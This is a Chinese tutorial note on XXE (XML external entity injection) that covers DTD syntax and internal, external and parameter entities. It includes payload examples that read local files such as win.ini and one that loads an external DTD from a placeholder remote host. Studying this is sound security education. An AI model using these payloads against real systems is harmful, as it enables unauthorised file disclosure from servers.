💎一站式轻松地调用各大LLM模型接口,支持GPT4、智谱、星火、月之暗面及文生图 广告
[TOC] XXE(XML External Entity Injection) 全称为 XML 外部实体注入 如果使用的php中libxml低于2.9.1,或设置了`libxml_disable_entity_loader(FALSE)`,就会造成XXE漏洞 **学习参考地址:** https://xz.aliyun.com/t/3357 ## XML和DTD知识 XML文档结构 * XML文档必须有一个根元素 * XML元素都必须有一个关闭标签 * XML标签对大小写敏感 * XML元素必须被正确的嵌套 * XML属性值必须加引号 ### XML基础知识 略 ### XML外部实体 1. 什么是XML外部实体? 两个采用不同技术栈的系统可以通过XML进行通信和交换数据。 在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 2. 什么是XML外部实体攻击? 在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断。 ## DTD基础知识 DTD(Document Type Definition)即文档类型定义,用来为 XML 文档定义语义约束。 可以嵌入在 XML 文档中(内部声明),也可以独立的放在一个文件中(外部引用)。 参考链接: http://www.w3school.com.cn/dtd/index.asp DTD引用方式(简要了解): ```xml #1. DTD 内部声明 <!DOCTYPE 根元素 [元素声明] > #2. DTD 外部引用 <!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI" > #3. 引用公共DTD <!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI" > ``` ### 内部实体和外部实体 实体分为两种,内部实体和外部实体。 * 内部实体语法和示例: ```xml # 内部实体定义语法 <!ENTITY 实体名称 "实体的值"> #示例 <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe "www.baidu.com" > ]> <foo>&xxe;</foo> //调用 ``` * 外部实体语法和示例: 外部实体需要加SYSTEM关键字 ```xml # 外部实体定义语法 <!ENTITY 实体名称 SYSTEM "URI/URL"> #示例 <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/test.dtd" > ]> <foo>&xxe;</foo> //调用 ``` ### 通用实体和参数实体 实体也可以分成通用实体和参数实体 1. 通用实体 在DTD中定义,在XML文档中用&引用 示例代码: ```xml <!DOCTYPE updateProfile [ <!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile> ... <lastname>&file;</lastname> ... </updateProfile> ``` 2. 参数实体: * 参数实体只能在DTD中定义和引用 * 用`% 实体名`定义,用`% 实体名;`引用 * 参数实体的声明可以引用其他实体 * 参数实体也可以外部引用 语法和示例代码: ```xml #语法 <!ENTITY % 实体名称 "实体的值"> <!ENTITY % 实体名称 SYSTEM "URI"> #示例 <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://x.x.x.x:81/evils.dtd" > //定义参数实体并引用其他实体 %xxe; //引用参数实体,可调出url中的dtd的内容 ]> <foo>&evil;</foo> //引用参数实体url中dtd内的实体 #外部实体evil中的内容。 <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" > ``` 参数实体在我们 Blind XXE 中起到了至关重要的作用